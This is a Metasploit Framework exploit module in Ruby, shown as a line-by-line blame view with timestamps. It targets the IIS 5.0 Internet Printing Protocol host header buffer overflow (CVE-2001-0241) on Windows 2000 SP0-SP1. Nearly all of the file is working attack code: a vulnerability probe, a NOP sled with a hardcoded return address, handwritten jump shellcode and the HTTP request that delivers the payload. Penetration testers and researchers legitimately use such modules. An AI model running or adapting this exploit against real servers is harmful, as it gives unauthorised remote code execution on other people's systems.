2007-02-18 00:10:39 +00:00
|
|
|
##
|
2008-10-02 05:23:59 +00:00
|
|
|
# $Id$
|
2007-02-18 00:10:39 +00:00
|
|
|
##
|
|
|
|
|
|
|
|
##
|
2010-04-30 08:40:19 +00:00
|
|
|
# This file is part of the Metasploit Framework and may be subject to
|
2007-02-18 00:10:39 +00:00
|
|
|
# redistribution and commercial restrictions. Please see the Metasploit
|
|
|
|
# Framework web site for more information on licensing and terms of use.
|
2009-04-13 14:33:26 +00:00
|
|
|
# http://metasploit.com/framework/
|
2007-02-18 00:10:39 +00:00
|
|
|
##
|
|
|
|
|
2005-11-27 18:42:44 +00:00
|
|
|
require 'msf/core'
|
|
|
|
|
2008-10-02 05:23:59 +00:00
|
|
|
class Metasploit3 < Msf::Exploit::Remote
|
2009-12-06 05:50:37 +00:00
|
|
|
Rank = GoodRanking
|
2005-11-27 18:42:44 +00:00
|
|
|
|
2008-10-02 05:23:59 +00:00
|
|
|
include Msf::Exploit::Remote::Tcp
|
2005-11-27 18:42:44 +00:00
|
|
|
|
|
|
|
def initialize(info = {})
|
2010-04-30 08:40:19 +00:00
|
|
|
super(update_info(info,
|
2006-09-13 06:25:40 +00:00
|
|
|
'Name' => 'Microsoft IIS 5.0 Printer Host Header Overflow',
|
2005-11-27 18:42:44 +00:00
|
|
|
'Description' => %q{
|
2010-04-30 08:40:19 +00:00
|
|
|
This exploits a buffer overflow in the request processor of
|
2005-11-27 18:42:44 +00:00
|
|
|
the Internet Printing Protocol ISAPI module in IIS. This
|
|
|
|
module works against Windows 2000 service pack 0 and 1. If
|
|
|
|
the service stops responding after a successful compromise,
|
|
|
|
run the exploit a couple more times to completely kill the
|
|
|
|
hung process.
|
|
|
|
},
|
|
|
|
'Author' => [ 'hdm' ],
|
2006-01-21 22:10:20 +00:00
|
|
|
'License' => MSF_LICENSE,
|
2005-11-27 18:42:44 +00:00
|
|
|
'Version' => '$Revision$',
|
|
|
|
'References' =>
|
|
|
|
[
|
2006-11-28 17:18:43 +00:00
|
|
|
[ 'CVE', '2001-0241'],
|
2009-09-12 04:22:58 +00:00
|
|
|
[ 'OSVDB', '3323'],
|
2009-06-07 20:20:42 +00:00
|
|
|
[ 'BID', '2674'],
|
2005-11-27 18:42:44 +00:00
|
|
|
[ 'MSB', 'MS01-023'],
|
|
|
|
[ 'URL', 'http://seclists.org/lists/bugtraq/2001/May/0005.html'],
|
|
|
|
],
|
|
|
|
'Privileged' => false,
|
|
|
|
'Payload' =>
|
|
|
|
{
|
|
|
|
'Space' => 900,
|
|
|
|
'BadChars' => "\x00\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c",
|
2006-07-31 02:01:14 +00:00
|
|
|
'StackAdjustment' => -3500,
|
2005-11-27 18:42:44 +00:00
|
|
|
},
|
2010-04-30 08:40:19 +00:00
|
|
|
'Targets' =>
|
2005-11-27 18:42:44 +00:00
|
|
|
[
|
2010-04-30 08:40:19 +00:00
|
|
|
[
|
|
|
|
'Windows 2000 English SP0-SP1',
|
2005-11-27 18:42:44 +00:00
|
|
|
{
|
|
|
|
'Platform' => 'win',
|
|
|
|
'Ret' => 0x732c45f3,
|
|
|
|
},
|
|
|
|
],
|
|
|
|
],
|
2006-02-19 04:18:21 +00:00
|
|
|
'Platform' => 'win',
|
2005-11-27 18:42:44 +00:00
|
|
|
'DisclosureDate' => 'May 1 2001',
|
|
|
|
'DefaultTarget' => 0))
|
2010-04-30 08:40:19 +00:00
|
|
|
|
2005-11-27 18:42:44 +00:00
|
|
|
register_options(
|
|
|
|
[
|
|
|
|
Opt::RPORT(80)
|
2010-04-30 08:40:19 +00:00
|
|
|
], self.class)
|
2005-11-27 18:42:44 +00:00
|
|
|
end
|
|
|
|
|
|
|
|
|
|
|
|
def check
|
|
|
|
connect
|
|
|
|
sock.put("GET /NULL.printer HTTP/1.0\r\n\r\n")
|
|
|
|
resp = sock.get_once
|
|
|
|
disconnect
|
2010-04-30 08:40:19 +00:00
|
|
|
|
2009-10-25 17:18:23 +00:00
|
|
|
if !(resp and resp =~ /Error in web printer/)
|
2005-11-27 18:42:44 +00:00
|
|
|
return Exploit::CheckCode::Safe
|
|
|
|
end
|
2010-04-30 08:40:19 +00:00
|
|
|
|
2005-11-27 18:42:44 +00:00
|
|
|
connect
|
|
|
|
sock.put("GET /NULL.printer HTTP/1.0\r\nHost: #{"X"*257}\r\n\r\n")
|
|
|
|
resp = sock.get_once
|
|
|
|
disconnect
|
2010-04-30 08:40:19 +00:00
|
|
|
|
|
|
|
if (resp and resp =~ /locked out/)
|
2005-11-27 18:42:44 +00:00
|
|
|
print_status("The IUSER account is locked out, we can't check")
|
|
|
|
return Exploit::CheckCode::Detected
|
|
|
|
end
|
2010-04-30 08:40:19 +00:00
|
|
|
|
2005-11-27 18:42:44 +00:00
|
|
|
if (resp and resp.index("HTTP/1.1 500") >= 0)
|
|
|
|
return Exploit::CheckCode::Vulnerable
|
|
|
|
end
|
2010-04-30 08:40:19 +00:00
|
|
|
|
2005-11-27 18:42:44 +00:00
|
|
|
return Exploit::CheckCode::Safe
|
|
|
|
end
|
2010-04-30 08:40:19 +00:00
|
|
|
|
2005-11-27 18:42:44 +00:00
|
|
|
def exploit
|
|
|
|
connect
|
2010-04-30 08:40:19 +00:00
|
|
|
|
2005-11-27 18:42:44 +00:00
|
|
|
buf = make_nops(280)
|
|
|
|
buf[268, 4] = [target.ret].pack('V')
|
2010-04-30 08:40:19 +00:00
|
|
|
|
2005-11-27 18:42:44 +00:00
|
|
|
# payload is at: [ebx + 96] + 256 + 64
|
|
|
|
buf << "\x8b\x4b\x60" # mov ecx, [ebx + 96]
|
|
|
|
buf << "\x80\xc1\x40" # add cl, 64
|
|
|
|
buf << "\x80\xc5\x01" # add ch, 1
|
2010-04-30 08:40:19 +00:00
|
|
|
buf << "\xff\xe1" # jmp ecx
|
|
|
|
|
2005-11-27 18:42:44 +00:00
|
|
|
sock.put("GET http://#{buf}/NULL.printer?#{payload.encoded} HTTP/1.0\r\n\r\n")
|
|
|
|
|
|
|
|
handler
|
|
|
|
disconnect
|
|
|
|
end
|
|
|
|
|
2009-06-07 20:20:42 +00:00
|
|
|
end
|